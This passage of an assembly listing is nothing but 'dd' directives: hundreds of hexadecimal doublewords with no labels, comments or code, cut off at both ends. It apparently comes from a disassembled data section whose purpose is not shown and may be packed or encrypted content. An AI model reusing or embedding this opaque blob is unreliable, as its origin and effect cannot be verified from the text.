0A4FA09C5h, 0D157DBBFh, 0C7FD6B61h dd 13772C7Eh, 7894EBDFh, 9D84682h, 0A5E66384h, 5223D40Ah dd 21D2B24h, 6A0D9200h, 17F02D1Fh, 0A449B13h, 18070528h dd 31E33E5Eh, 21E1E91h, 0D64EED0Bh, 0EE056960h, 3E8CE2CDh dd 51762768h, 2085820Eh, 90DD2117h, 10BF63h, 0B862F818h dd 718170E2h, 26BE38FEh, 203BB01h, 0E42161BEh, 0BF588064h dd 0D84E2CF8h, 8FB7D480h, 0F23BF388h, 0C680C013h, 95E6D0FFh dd 0A3F62C40h, 7DF0882Dh, 6EE0D616h, 33CC8082h, 0B83ECD5Dh dd 0E3104113h, 79FE9DB2h, 0E2947427h, 0EC241BB0h, 0EAA2E397h dd 93284613h, 635E253Fh, 93C7C35Ah, 0F0093CC8h, 560BC620h dd 5FD269E9h, 86810744h, 0CD80043Fh, 4A487CD6h, 0F82BE1BFh dd 0AB95A07Ah, 0C093E288h, 9DC788F3h, 0FFBDD4D3h, 81DD3362h dd 59C8FDEFh, 70E4BA52h, 706F8626h, 0A8FFAEBCh, 62D9EA01h dd 0BF301558h, 3AC4B5D3h, 0A8FD6FF0h, 0B912FC10h, 83B93768h dd 9395091Ah, 0D84901C8h, 0BD9E6880h, 6C94B71h, 2FF566F7h dd 3A512DD0h, 3365670Ch, 0B95E02F7h, 8CAA7DCFh, 395245C0h dd 292EB701h, 5848E9F9h, 7F240222h, 6CF825F7h, 517E7195h dd 6B002F8Fh, 0C55FC35h, 0B005057Bh, 0C25B4861h, 0B9F166C0h dd 0E842C1CAh, 58EA9198h, 0FC06CACBh, 0AD010423h, 6E70F11h dd 600AA835h, 5BF5517Ah, 5F5FD474h, 0B03D0C1h, 1F07BA00h dd 0B41B12Dh, 27A2FB17h, 8039C718h, 0CF3E5B81h, 1FE91D78h dd 88BD7070h, 97F87F0Eh, 0C64B0F5h, 3947207Dh, 8824590h dd 56F6E61h, 0D9B980BBh, 0CBE05A5Bh, 0FC596628h, 0C3E9B309h dd 8E43512Eh, 0AF1332A3h, 61C101A2h, 0F8696D77h, 8FFE10F7h dd 0A4886EEDh, 80DD9505h, 89E90816h, 0C2A3C075h, 85E62B35h dd 5AD02912h, 26A5D801h, 0E86A6930h, 0CAB42FA0h, 7E00DFA0h dd 0A3149C2Dh, 0FF30777Eh, 0BEF14B7Bh, 0B8325B17h, 97F2096h dd 38D4685Ah, 0CE199655h, 0C53E727Ch, 0B8D5E948h, 85092848h dd 0FA00409Dh, 99CD0B66h, 8255CE31h, 7ACCB9DEh, 0BD50778h dd 0C4574B38h, 6613BE78h, 0C9A7AB3h, 848BEFDDh, 0FA99E5E9h dd 0C63ED18Ah, 2720A7AFh, 883E42BEh, 0BF51F4Ch, 0CC2AA5h dd 132FCE79h, 0F72709E9h, 0C45046D6h, 0E723CCF9h, 9B26C16h dd 9AB679ACh, 2B445709h, 0D882F53Bh, 0D3F758EFh, 0B05C1EBDh dd 0C322D37Ch, 3D877E5Fh, 1EB32170h, 3FCB0781h, 670B060Ah dd 64A58FEBh, 5049F8E7h, 580CED07h, 0E47192Dh, 0B5031205h dd 82065851h, 0E6018530h, 5FFE0958h, 0C2BCDEF7h, 90E90586h dd 3505AA66h, 0B1715B26h, 2122F4FBh, 3A980512h, 1A1AB3FFh dd 5FC399DAh, 6867B3F9h, 25ADF2BEh, 0C73B0396h, 888C346Eh dd 4F4C0754h, 0F4E22578h, 85C252B4h, 50E983B8h, 0F5F948BDh dd 1961180Dh, 5CFE0C65h, 0E92CB304h, 0A6A929E1h, 0BB613484h dd 111C7C61h, 303A2500h dd 0D055B327h, 0E5249758h, 2F66985Ch, 4CDD2913h, 1B4AF901h dd 0B2404EF7h, 6056352Bh, 1E7187Fh, 0CFF87DCDh, 21052E14h dd 32C702CBh, 0E3427E5Ch, 0E090CD73h, 0BC1F2A2Eh, 22FC029Bh dd 94403B23h, 2705F326h, 5AD731D4h, 0C7839104h, 9E4D04EFh dd 845313FFh, 0CD3DA5B6h, 0C201FCCEh, 442618E9h, 0A3020E3Dh dd 3DF824Fh, 0B8A2CC1h, 0B17CA8AAh, 51EEBD00h, 4829DB96h dd 0FC2D05EBh, 5E999077h, 0F728C50Fh, 0F2B40FDDh, 0AA9713F7h dd 0CD2A4439h, 0DEF22E2Fh, 87F9668Bh, 0D409D20Bh, 0BEFE6451h dd 8C5E9AE2h, 0C204B3FEh, 0FE4CC380h, 0B2529CC0h, 0EDD3E085h dd 596CB270h, 55118EB3h, 0B8FC9237h, 5C40F089h, 0C209BCBBh dd 7F29739Dh, 35F89EA0h, 0F7792D33h, 2D3204D4h, 70E1D6D8h dd 802664B4h, 0E30276F4h, 728E42E9h, 1B00F7Fh, 9965236Eh dd 3CF6F2BDh, 5ABCF50h, 0B3F030D1h, 46C0620Ch, 88B2F118h dd 2500DC27h, 2BDE42CAh, 4F6B030Dh, 0E72D04A0h, 3007B0A9h dd 75138E3Bh, 60454EAFh, 30AB0D42h, 0BF67EF61h, 1BECFCB8h dd 869E5B5h, 25008431h, 4FF44A5Bh, 296E0935h, 0D68260E4h dd 2D007682h, 7A1A2706h, 0A1815B61h, 538A7BB4h, 0A1F5A735h dd 2BFA3095h, 0B6521AC2h, 0BC29E103h, 4155D02Eh, 954ABFE9h dd 0C1536BD3h, 0CF2E94D9h, 10C75885h, 855ECF6Dh, 0CCBF01F2h dd 7028B33Bh, 212C5F5Eh, 8F139DC8h, 2D682428h, 0FD93AA8h dd 5CE6498Bh, 0F083923Ch, 5E25E9Ah, 4A7DDB01h, 2DD8015Bh dd 0CB810744h, 7FEC61EAh, 0D0F73996h, 0D093FFCCh, 16ADCE93h dd 0E926C704h, 580292BEh, 0E404A42h, 723F07F0h, 8E413CCh dd 5AD826BEh, 0C88AF70Fh, 0C0A5CB4Eh, 955D54A7h, 0FFDA72FEh dd 659860E4h, 677EA00h, 283A0D05h, 0A6726F36h, 0DF319C00h dd 7EEA3550h, 7C6B0A27h, 9ADE0987h, 0D259A22h, 0F1829BF7h dd 0EF7392CCh, 0E6815E07h, 0ECDB1432h, 45F601B0h, 4BE974B7h dd 85D49435h, 0E850D641h, 17E9E00Ch, 0E6F7C411h, 0D9B9AF02h dd 36B15109h, 3BCD58DDh, 8F5865C9h, 62C1BC4Ah, 0E328AB18h dd 41F89A48h, 58FA6E26h, 193E20A6h, 59EA881Ch, 7667EFDDh dd 0A3ED8950h, 79C2A7D9h, 0D78803EBh, 2B9D63B9h, 80500149h dd 3C32BCC8h, 976EFC28h, 0E3074672h, 53AF5724h, 3002F360h dd 872F51E6h, 2764FFF4h, 0CA747195h, 0E741EB81h, 32A94F3h dd 6BB2E9D8h, 98F14903h, 0B255C004h, 0B3F85FEDh, 27C8F8B5h dd 0B2C66340h, 0A988C233h, 9091F9DDh, 0D094E72h, 8CF4F82Bh dd 2E0F483Eh, 21005445h, 0E94AE04Fh, 3CAE6036h, 0E64C91BEh dd 0F7293014h, 73E705E5h, 1ABB026h, 0EC1A16D9h, 651E31F8h dd 36747FF0h, 53AE1AC5h, 0E4444A0Fh, 8B15BEDDh, 0EE4C5940h dd 806A6B07h, 0F174E549h, 39BF3BCCh, 59A83F60h, 8F09A925h dd 0DD27AD54h, 365FEB1Bh, 0ABD689A2h, 5D299361h, 13B15C03h dd 0A8CA7F15h, 0FE6A8412h, 1136CE3h, 0D62DEBFAh, 7AA9293Bh dd 0BF9634F3h, 4009DFD1h, 6AF8A62Eh, 0AB00CAB1h, 4878EA45h dd 5C35090Dh, 0CB211AECh, 20292D3Bh, 475EC262h, 975C6B88h dd 685CC296h, 0D2ED48ECh, 3D1204F9h, 2C89ABEBh, 0AB8B10E4h dd 0AAF29B5Eh, 0D37177D0h, 5DAB1689h, 0C20B5451h, 27666558h dd 0F7099356h, 0A61B7DDAh, 0E160C00h, 0BB533CB6h, 7C1F1264h dd 0A9B0FB1Ch, 78D348F7h, 90B7C344h, 17D02D5Dh, 44CF00F6h dd 0C8AB5835h, 0E527000h, 3FBA09DBh, 0DB6204B1h, 483022F0h dd 5873E9F5h, 172F1EAEh, 92545A58h, 0D4BD5F8Ah, 7DE8E20Eh dd 0CEB1C06Bh, 7E09636Ch, 0E980034Eh, 2D02FAB8h, 0D0FE3C20h dd 285C260Ch, 5E042EACh, 0BEB6C264h, 77F660C2h, 0B18C108h dd 9E65D301h, 0FFDA6B84h, 4AF872BEh, 11639880h, 5E9F7892h dd 6E0430Dh, 89C1FF3Eh, 0DE090C07h, 8108A0E8h, 69964516h dd 8B34FC66h, 0DCDA898Ch, 0ADF12F54h, 96AD5ACAh, 66812F4h dd 5319320Dh, 2A1589C1h, 412D5B03h, 0DD2EBA2Bh, 70BB562h dd 0A816E3FEh, 7F109CBFh, 2B9E440h, 3FB74DF6h, 0EC424C29h dd 33842B61h, 0BD550117h, 373C6CADh, 0EAD7F06Fh, 55304B7h dd 0E88AA1EAh, 0DD92C125h, 0DC53260Bh, 0BCC0FD5Ch, 75C54A18h dd 98FE3E48h, 92EDF677h, 0E9C26F1Dh, 4A1A605Dh, 1DC12522h dd 88FB80DDh, 1969F101h, 447C62E9h, 5FBB4059h, 575BA845h dd 804D7E5h, 0D6CEA9ABh, 679E57BCh, 0A2141AD7h, 9753036h dd 29271B80h, 0FC9D3237h, 90992E5h, 41F4E364h, 91719627h dd 0F6E9617Eh, 2DC10482h, 0C1040C1Bh, 2E9F92DBh, 0F8FB7F49h dd 8B6C9D92h, 8EBE5D4Ah, 908720BDh, 5EDDA8EEh, 12D1A040h dd 2CD93E25h, 0F26231A5h, 717FD45Fh, 0A62A0D29h, 72B712A3h dd 0B15EE8E9h, 0C6D9D35Bh, 0E1E51211h, 2C075A47h, 350D5840h dd 0D8494D18h, 0DD2A6121h, 29D3EC61h, 26E641CCh, 9D9E5AE2h dd 0FD956A40h, 0D2D1B2EFh, 40CE2BD8h, 0B72F685Ah, 0A5487B4Ah dd 61DE048Bh, 5710700h, 80AEB8E9h, 144ED668h, 0AA8698A9h dd 739A1348h, 957DD633h, 0FE8EFAC3h, 7AD62D02h, 6DC77772h dd 0A283E904h, 0D668690h, 0FC684AF6h, 0FDFD27BBh, 0E37DFA29h dd 6527D962h, 97EB6581h, 9D452038h, 43496650h, 5DA07776h dd 7477EAF5h, 440C6360h, 9F52DB45h, 0D35122C0h, 8586C6B5h dd 0C44C174Bh, 42A2FB47h, 7645B9C1h, 9AE2C5Eh, 49D0F8E9h dd 2D848CBCh, 8058C531h, 41201926h, 240B655Ch, 50AF2B5Fh dd 4A73F22Ah, 66D1DD60h, 0FEE91716h, 0C1BAB580h, 71943D17h dd 0E944CD16h, 0F47015A1h, 275817D8h, 0A896A6F7h, 0BA52C057h dd 2F153D6Dh, 0BF5A4A4Dh, 888DB01h, 1AFFE986h, 2E78D623h dd 0C2E4F19Ch, 480C8182h, 276B2790h, 9779D9C1h, 3B2DE8C7h dd 172FF861h, 7503EA05h, 0E7816721h, 98E3C620h, 0E9DB097Eh dd 1A758E87h, 0A978FF9Fh, 5D6CB127h, 821D0D40h, 97CBC49Dh dd 55847AF1h, 8CB51568h, 812CBB2Bh, 0FE524A5Ah, 58E91760h dd 0B3DCB5B3h, 0CA7E8F59h, 3B7810D8h, 442D4002h, 4363C7A8h dd 0F37DA09Eh, 0B51C579Dh, 2FCB02BDh, 2D85EC38h, 0A7C63E9Ch dd 0E570F516h, 8E037EF8h, 0E9745F31h, 3C28A8DCh, 392F775Dh dd 1E58A266h, 0D1BAFD03h, 894B4F5Dh, 0CF77AEA5h, 9EE985CCh dd 0A999AB28h, 72514623h, 0E9A1E328h, 0F1FDD659h, 0E24B2412h dd 0C6D780FBh, 368327A3h, 9B2CF4B0h, 0C2B911A9h, 84D13984h dd 12081239h, 0E15FFEFAh, 0E4EBCA92h, 0B09BAB8h, 7D0E81EDh dd 0D8E9B38Fh, 537479C0h, 223EF826h, 0F3368501h, 55CC2912h dd 5FA724E9h, 876652C8h, 7BE908C3h, 5124003Ah, 0E5C0D7B5h dd 0C57A8008h, 86E0E7B8h, 0C3FEDD0Eh, 0EB9A9C30h, 0CA744208h dd 84C1D9B0h, 0BAF9F766h, 797E491h, 0E790EE15h, 9F5034E9h dd 0B00940D9h, 0BEC955D7h, 5DCD3E6Ch, 0ACEDA8E4h, 7D30BABh dd 0ABD62734h, 9F396758h, 0E957372Bh, 0A73E8918h, 35AF5A67h dd 7B0BDDA0h, 92005BFCh, 5812611Fh, 699ABDE9h, 395AE7EAh dd 1C49FEDh, 9A8CECFh, 77286ECCh, 4909EA80h, 0E9273A5Eh dd 2C4A402Ah, 74D8E0D0h, 97F4F604h, 60EF43C9h, 46608F98h dd 59206E0Ch, 0C765CA49h, 0BB530A08h, 0DF1C3F14h, 0A58899E9h dd 0F0BF1595h, 84100FF9h, 511CA457h, 0A19E25B9h, 48CECBDh dd 116A9AB8h, 6FB8AF1Bh, 0EA8E1484h, 5EE747CCh, 9576BEECh dd 0B69A64Eh, 1A88C201h, 0BA59B704h, 0FDCA0A99h, 0DDEB3471h dd 3E2D5FA2h, 8E270B64h dd 2C2D1455h, 0C2CE6F3Ah, 105D895Bh, 8240E822h, 0F1029BABh dd 19426410h, 509CCCDFh, 4BF32817h, 0CB44BE64h, 21BA4D8Dh dd 3E6659BEh, 38E06604h, 237B0513h, 0CFA54B4Ch, 0E13B13F5h dd 0B8365BB5h, 37C56879h, 18DC2DE8h, 0BCC66CA7h, 545D7A89h dd 38A16218h, 33CC73DDh, 5F0756BAh, 671037CFh, 8BB98189h dd 0E1C6FBC2h, 23819F16h, 0F44C6EDh, 0EAC97B4Bh, 0B88FEF30h dd 81CD01F4h, 655AFCC1h, 71EC2E13h, 9F5F0840h, 97BD3054h dd 458C94BCh, 0B65E4BD8h, 64AB4E23h, 84A9BB08h, 0F6E952A0h dd 6B9B12BAh, 0A1EE933Dh, 8401114Ah, 68421D44h, 0E0A267C7h dd 0BB009996h, 64067578h, 0EA55E566h, 4FF97F39h, 5D79093Ah dd 27081E7Fh, 0DFD32C68h, 0A537B324h, 7B7C42E6h, 0FB774E35h dd 0BDCE158Ch, 0F57E7FC2h, 404012Eh, 16E46664h, 55C9AA0Ch dd 685D3C89h, 2D3A04FFh, 84DE03EDh, 95274B0Ah, 0F26ED953h dd 8739E87Ah, 6867B5B3h, 43F26B07h, 8BA7D925h, 445118E0h dd 0BD0AE820h, 0F06C732Eh, 5808C194h, 63B15AC3h, 0C339612Eh dd 0D7EBC1EAh, 0EA595497h, 4323EC45h, 4EE3F4BFh, 7026B928h dd 713E802Dh, 57AD89A6h, 0A7BF9E74h, 0BDA1E01Bh, 4D2C1665h dd 0B0C3BB74h, 0C5811F2Fh, 57A20BD7h, 5CB00C10h, 0F7F343CAh dd 0CCEBDD16h, 50BEEECh, 7F6F703Eh, 8093262h, 0ED6C3FCCh dd 765F323Bh, 0E52D4B70h, 5B0803A8h, 0EAB7F6F8h, 2B50DE2h dd 71F4BB45h, 212F3C05h, 907E6789h, 0C39ACF50h, 4BD4C663h dd 95283FEBh, 54B508EEh, 0E4E978FDh, 62BE615Eh, 34573B24h dd 0B0DA602Dh, 49484AC7h, 7FBD115Ah, 76390841h, 71C12A98h dd 645D993Dh, 5003B9D8h, 80D8B151h, 0FAB62FF1h, 0CC88003Dh dd 9AE9D4F6h, 5B28C462h, 34B6AB01h, 745EC600h, 0EFE9721Eh dd 0D740CF4Eh, 4A22D3C2h, 0F48980Bh, 53F12D82h, 5C43CD80h dd 0C1241FF8h, 84397DE5h, 23D41A47h, 4AD340AEh, 0E928344Bh dd 1E5E2927h, 0AA054AC2h, 821BCF46h, 1EB13B26h, 0E209A293h dd 800D2F13h, 401BBE80h, 2D7D0093h, 0F4B2ED6h, 7FE21005h dd 0F2F54C51h, 0E9560781h, 875F6486h, 40244716h, 0F3BD2DBBh dd 5C51158h, 18D77ABEh, 3926EFC1h, 0EAF02DE1h, 0B1E3F57h dd 129C8A50h, 0B8581966h, 0D0EB9721h, 63836A5h, 0B3E9CC13h dd 0B73065A0h, 808239E5h, 400855C2h, 0C18ACB9Bh, 940E83DDh dd 39B6E86Ah, 0DFF82BCBh, 61C66090h, 4A65ABDDh, 0A2F1604Fh dd 0D14380EBh, 0ECE5E37Fh, 7F61630Fh, 410C54D4h, 5E792030h dd 0DFDDE3F6h, 0C64C59FBh, 4E1C3D88h, 4E46C25Ch, 60FC0DE4h dd 5866A1C5h, 1AB27BF8h, 0DE87F9A3h, 176A8BAh, 0C9D1090Fh dd 285921EBh, 0A9745AF0h, 0AD683958h, 0D95DE9C0h, 0C7CA5B59h dd 0B29BFB97h, 0C206BC5Eh, 75FF7E02h, 0E9782874h, 0A0560B1h dd 0BD7365BBh, 2AA8414Bh, 0A88D572Ch, 0BED52528h, 43A932FFh dd 26D984E9h, 0D6FC717Eh, 7FB90059h, 73920133h, 457EE181h dd 75806F58h, 167A3D82h, 1CCF01BFh, 3801E6D1h, 228A3F0Bh dd 0CD0A440Eh, 402CBBDEh, 16509F4Ah, 5FA64F7Ch, 0A442E685h dd 2A406B53h, 0DF40EB8h, 0FE6311ADh, 25E81C79h, 54EE14E2h dd 0DD5AD2B2h, 0B2FA1184h, 77AE843Ah, 72AC6802h, 2B75A6CCh dd 0CE5F1BBFh, 0FAD128ECh, 85934F48h, 3CCAAE3Eh, 4206D22Eh dd 0BA003417h, 48124C56h, 0AC09B81Bh, 0EF50EE5Ch, 0CC43E409h dd 682553Dh, 94FF86A8h, 0D082A1C5h, 0F4113501h, 3DBC3924h dd 0F61C2C09h, 0CC69EF8Dh, 5411B013h, 207DA776h, 0C1132F3Ch dd 9B8B05E0h, 7841F106h, 0AD2FE21Ah, 74E793Fh, 0BE0A2546h dd 0B816757Dh, 3CAFF44Bh, 0C032E912h, 72583063h, 4DA26490h dd 2A16EA5Ah, 0A53901FBh, 2A22E410h, 16FA2413h, 0E5EBEC4Ch dd 50B8D8EBh, 6100BEECh, 0A02D79C6h, 907E3E23h, 9EF09A1Dh dd 13D42547h, 0A11525Ah, 514D1C57h, 65314CDh, 546DC10Eh dd 51813E2Bh, 0D83F30B6h, 6813D101h, 2BCD119Eh, 3B360F06h dd 5C2A58F6h, 660220D6h, 0CB5056B5h, 95E8C677h, 0E94141F6h dd 0BA2BC45Bh, 575C8762h, 643F9F6h, 8A2D1329h, 16AECE43h dd 25EFD828h, 2C7044E1h, 0EC1D1239h, 0BF570330h, 85471882h dd 67DB18C5h, 0DD30042Dh, 9585D729h, 4E0CE201h, 1CE38AECh dd 78A9AED4h, 86903AB2h, 8F12F581h, 0A0BE3035h, 50285653h dd 4295DB55h, 50425DC1h, 8BE1D3D5h, 0B39A4FA3h, 1E7D984h dd 477F25BEh, 5546B888h, 33066613h, 20FF88Ah, 805DB551h dd 4BD769C6h, 0F426AE46h, 0C0D33DF6h, 0DEB0063Ah, 2871B12Ch dd 7D20CE69h, 1FBAF37Ah, 0EC63792Fh, 4FDD2F27h, 0D93733D5h dd 63492CDh, 1E5A1225h, 3076013Dh, 4053F356h, 622F1FBEh dd 0FA0B31E0h, 720DDBE9h, 742B093Fh, 4C003899h, 3ACA5659h dd 0D6D00125h, 1D4EC252h, 5280162Dh, 2B710BE0h, 8B5F37E9h dd 680AB5B3h, 0DAD8483Ah, 2BDCC861h, 4808EC65h, 0D8010ABCh dd 0EB010AFh, 0F92C580h, 0A69D44DDh, 0D67DB8ABh, 0A26F12AAh dd 60E81935h, 0A56AEAD9h, 0FE0CA738h, 0ACE98B47h, 0D02958C0h dd 53A92D5Eh, 62F25A3Eh, 5EF3B539h, 618255DCh, 0F2328E63h dd 0BDE913DCh, 0C44D3467h, 5E8BF82Ah, 31CA13F2h, 0ED5E49E6h dd 6F7C8488h, 4D46C405h, 0E8F3CD80h, 189D0504h, 32809AEEh dd 8306C3C4h, 15E98700h, 8023B1B0h, 4A8B753h, 905C2CABh dd 50520B7Fh, 12AF76B0h, 7BD8F74Ch, 1A53BC25h, 748E89ECh dd 296A8332h, 0C054113h, 34B75407h, 0DD1DF0BFh, 71EE7B5Bh dd 3E60EE9Dh, 0E69726A2h, 40F72736h, 5B5368F8h, 51A0225Bh dd 0BBF8370h, 56B9DDE2h, 27132A6Ah, 31E90A68h, 0D13A3092h dd 52C22FE2h, 0F5F34056h, 9091A685h, 0E7DB4A35h, 446809C3h dd 0EDB3B025h, 3E1036Ch, 234EB235h, 1F8AC4D4h, 4036D6F5h dd 72690F4Fh, 0A04354Ch, 89C71BD5h, 4BCE8BFAh, 0EE0C00FFh dd 2B4574Dh, 7902CAB8h, 0E9FF6B76h, 27CDFE98h, 5602A056h dd 7D0BCF68h, 81B335A2h, 93BDEBDBh, 1313180h, 11E8C35Ch dd 6275AA30h, 0F144DD09h, 10028C4Fh, 0DD31C268h, 189B746Eh dd 0E0F2E904h, 2D6B190h, 0ED457AA1h, 970C12Ch, 0CE2C5AD0h dd 4E045187h, 555B32C7h, 965D8240h, 0F5BE8069h, 96E83A78h dd 5815A34Fh, 716F2574h, 615689B8h, 0B44ADAC6h, 945AAAF0h dd 3B5B598Eh, 0DAF75202h, 5A91C087h, 5A79357h, 44E0ABBh dd 94EF0B9Eh, 0A41184F4h, 3913DFAEh, 0E7BFC4BAh, 7DF84B86h dd 0DCD0EBD2h, 0B19A91E9h, 0F39074Fh, 0EB89A21Dh, 45D4761h dd 7809EB82h, 0CB889844h, 61D68A42h, 0FE5D704Bh, 675F5439h dd 0C0124FB1h, 0D128971Ah, 0AC3B2081h, 0F0E0791Dh, 62C6109Fh dd 0F529321h, 668F5D6Eh, 0AF3A03A5h, 2758A38Bh, 0B2058204h dd 1DE1BB4Fh, 0D7810805h, 729BC8Dh, 32F0B7Dh, 14804C06h dd 1835BE56h, 4E4F211Fh, 891FE6C9h, 0EE07009Fh, 48A22257h dd 7205647Eh, 0AF89A80Dh, 4558A182h, 0C8ADBE80h, 0E247B255h dd 0C5DB75FAh, 4ABAE961h, 0E7965F2Fh, 705F93E1h, 0DCBFC62Eh dd 0EE4FE24Bh, 3862AC07h, 8E1255ABh, 7620EAF0h, 0CA2909E3h dd 0E87ABB53h, 5904E195h, 4B4892Fh, 4ACEEEA3h, 1D15120Eh dd 0D4075249h, 9232A622h, 5224272Dh, 1FDDE49Fh, 9E4CD80h dd 4B92D6E2h, 6393857Fh, 0BD89AEE0h, 0CFF50489h, 0AE909C0h dd 4C8BB5F6h, 0F2B2E606h, 0BF587018h, 63480D73h, 7753F7E9h dd 4A53D243h, 0C475A24Fh dd 97EDD601h, 0E003C689h, 0BB84351Ah, 0E9C286B7h, 1BD30CE0h dd 3069163Dh, 0E0CD28AEh, 48F71154h, 0A402D04h, 1EFA1946h dd 6DE443EBh, 2AC7C629h, 0D4402508h, 0FD7E394Bh, 954CF0B7h dd 0C270E44Ch, 2533AC58h, 306B843Eh, 897FA2BEh, 0C0E07E51h dd 0F6D08667h, 0C309DA6Eh, 2800EE9h, 7F39B92Dh, 8277690Bh dd 0C4D7A059h, 10800930h, 0A54D5D9h, 91945725h, 518889B3h dd 0BE5E1D72h, 0EF492F30h, 0C23D71EEh, 454EF064h, 0D82BACCDh dd 0E640FA0Ch, 5F82D29h, 0AFAD8D4Bh, 2D5F5F40h, 75F4654Ah dd 54550660h, 2E017FAEh, 82C20782h, 0FC2E30DAh, 580B5922h dd 60005740h, 6A78772Dh, 0CFC4464Eh, 0EDA32B0h, 42197E03h dd 6FE31038h, 0E961F309h, 809A410Dh, 58281AE0h, 0AF4BFAD9h dd 9E20BF29h, 0A45A74E6h, 0FE311DBCh, 34E380C8h, 9FB353FAh dd 0DDAF91B9h, 0E6F23C00h, 727E395Ch, 1CFBA131h, 0D441B30Ch dd 9CC80334h, 0C3883953h, 55BDE13h, 538E0F26h, 95095794h dd 1896A60Bh, 0F1BD356Eh, 3A63BFA7h, 0EB75BC78h, 0EAE9C3C2h dd 0BB2FD4E8h, 0C93E2096h, 6674FC55h, 0DC2B5D81h, 0BE4165D3h dd 0F355554h, 82686E90h, 0AA2BE138h, 41785238h, 73354171h dd 6A15D911h, 804DCB5h, 484A54C5h, 1981F459h, 535D9410h dd 0B57A63Eh, 514E8AE9h, 2B78F48h, 0BF4BDB64h, 7504804Bh dd 13498AA4h, 6EB1C00h, 9048E46Dh, 0B8500273h, 63234A47h dd 3249C840h, 0FE55662Fh, 0ABFA8079h, 0F8098088h, 3BE7FF90h dd 0E3BB8313h, 0F1BB8576h, 5D51BD91h, 2B0BF07Bh, 0A4B912C0h dd 97741C3Ch, 277D3F40h, 7A792A58h, 2DF03F17h, 498F7DECh dd 476BCA65h, 0E93BC7E7h, 713175Ch, 8BAF4F85h, 0E9B62C16h dd 0B1515300h, 5A97E9E6h, 8531ADD8h, 0B2EE65E5h, 89D3103Ah dd 6F99E9C2h, 0AACFB0A5h, 0E912768Eh, 0B2F447ECh, 0AB7A743Fh dd 0F7886F17h, 0C95F5A8Bh, 0DCE82225h, 68426226h, 0C226F423h dd 78605559h, 57D7EA5Fh, 0B5B97A85h, 5A5F9569h, 2F5176A4h dd 16756225h, 0E21EC467h, 1F14D3h, 564E3D98h, 0E9DA8952h dd 5CDED6CDh, 14130227h, 16DC0D09h, 0E9120720h, 0C1ADDC45h dd 0C61D2207h, 0B1C0B40Ah, 4F9F609Fh, 534517B4h, 0FAE3CCFBh dd 9B078EAAh, 672F3B20h, 0F22A9585h, 0B6BB0019h, 81375F2Fh dd 21C90ECBh, 0E3C05135h, 1FB2076Dh, 0C1A14B5Bh, 0DF829C05h dd 0E90C6029h, 0F1F97702h, 84F4AC7Ah, 31AB34FEh, 3BE2F871h dd 4F3FE676h, 0BF94135Fh, 5E2B01D8h, 0A690414Ch, 2E6AB27Dh dd 4B383AFBh, 63732AAh, 29645458h, 0AC905F1Eh, 0E25B02EFh dd 1BD2A007h, 0BBD9957Dh, 3AF62D00h, 0D4177h, 4ABF5986h dd 5F342540h, 2D790F07h, 48545D2Ch, 0E96630EEh, 199D4D15h dd 52381835h, 5B6AE64Ah, 7FC991A2h, 0F38EA7D7h, 538414D7h dd 525C00FEh, 0A09CB0BAh, 0D31331E4h, 0B4A113E9h, 4128B3Eh dd 5BBD4B3Bh, 8415B14h, 0B2C5B37Bh, 1C347753h, 0DD1C8B25h dd 0CD9D3494h, 262A566h, 0EAA4195Dh, 32978C57h, 7F294F72h dd 72BE5F90h, 6E8E53D8h, 9233FE45h, 5B07818Ah, 16439A30h dd 0EA034E31h, 0DA01C291h, 974BAADCh, 94C49675h, 5AF5695Ch dd 8C5B1Eh, 55C0B9C6h, 61F42AE2h, 5B66CD9Eh, 0B05595F3h dd 0B244E97Eh, 7790C028h, 68709A05h, 284DC305h, 0B4AA5B9Dh dd 6902A764h, 4BE97DBDh, 96DE5932h, 30594935h, 0E970E156h dd 0F94853A9h, 7D0B683Bh, 0BE387071h, 0F79446C0h, 0C6ACA8Ch dd 27660BB8h, 0D71494h, 0F0114EA0h, 2D050B4Dh, 71026436h dd 96F558C1h, 3699203Fh, 0F5AD2FFFh, 14CEB21Dh, 0C00C7FEh dd 2937DB19h, 7D31E9DDh, 15F2E8Ch, 9AF1EB60h, 0A3539DACh dd 0F81396CFh, 0A8BB5840h, 987CF73Ah, 24460C3Dh, 320C1EC1h dd 51586D18h, 25200182h, 2FD41040h, 1CAF962Fh, 0C4EF5143h dd 0BE71F3E9h, 41D4E25Ah, 406BF63Ah, 6016C575h, 19B04891h dd 25804140h, 8E7698C6h, 0F826242Dh, 76E4996h, 6B1E7BEDh dd 0F463C201h, 30DA89E9h, 4903B439h, 83411C30h, 3C2212C1h dd 0E737AA44h, 0B2B53E95h, 16C274ADh, 6F2A7155h, 12F2E256h dd 0E3BFDA75h, 47E505D5h, 9F12115Bh, 0CB11CCEEh, 32277B49h dd 0D8EBF0FAh, 0FCBA9D40h, 0F9A22F59h, 0F74E5E0Bh, 481602D6h dd 83495CF0h, 16B740DCh, 1B63E6B0h, 3090A3Eh, 0B1A2BCEh dd 3EEEE06Ah, 98450224h, 8FE9F729h, 0DFBB0B7Fh, 89D75132h dd 0E25AA2A1h, 5FBF181Fh, 7D5A283Dh, 0E90B6362h, 254D5067h dd 0E8D011B9h, 8B7E51B5h, 125F7468h, 0CC5C04h, 2502D9BFh dd 0E775C169h, 5E09F398h, 74650593h, 80E82C45h, 3F8E7806h dd 4E02242Dh, 3AE97AB8h, 0F2B3C4F5h, 7C173070h, 0E88F4CFEh dd 0D8E98309h, 0CC64D7EFh, 0C47BFD27h, 0F95A5F26h, 55F5A735h dd 0BEBDAABh, 5816E95Dh, 9789E699h, 0C3017647h, 3A027882h dd 32A56Fh, 6A0FE908h, 0D977A19Ah, 0DE76B12Dh, 0ACE153F0h dd 64FE2AB8h, 0BA1AEF54h, 3BECDD16h, 5C3C93Eh, 58E9077Ah dd 0FD6340BBh, 767D685Fh, 0B6EC2FE1h, 135EB6B4h, 0C5A462B4h dd 2F2DE6C8h, 0FC0F6C87h, 2654E8h, 0B7002610h, 80E7D0E1h dd 0D2F96AC7h, 49D6578h, 51FDCEB0h, 314CEA01h, 0DBD1776Ch dd 73D27BE9h, 0D72A7866h, 54968060h, 0FFC5B253h, 0D9A09B4h dd 76209CB0h, 8182B763h, 0C8DE4B53h, 7802A2C8h, 4A401E26h dd 0C5785500h, 7F5B0B81h, 0E98436B2h, 0C2C4FAA8h, 0F6C587F8h dd 6BA1AEE1h, 0AB3F346Bh, 560449CBh, 0C1B7EE9h, 0F29C44D3h dd 12776169h, 30EB874Dh, 35121399h, 39BC36FEh, 87456DB0h dd 0CF07277Eh, 1BC3737Eh, 6FF3F760h, 85714178h, 7A5CE904h dd 7DD68EAEh, 58ED7CB7h, 0A295E3DFh, 0E551BC6h, 742DBD67h dd 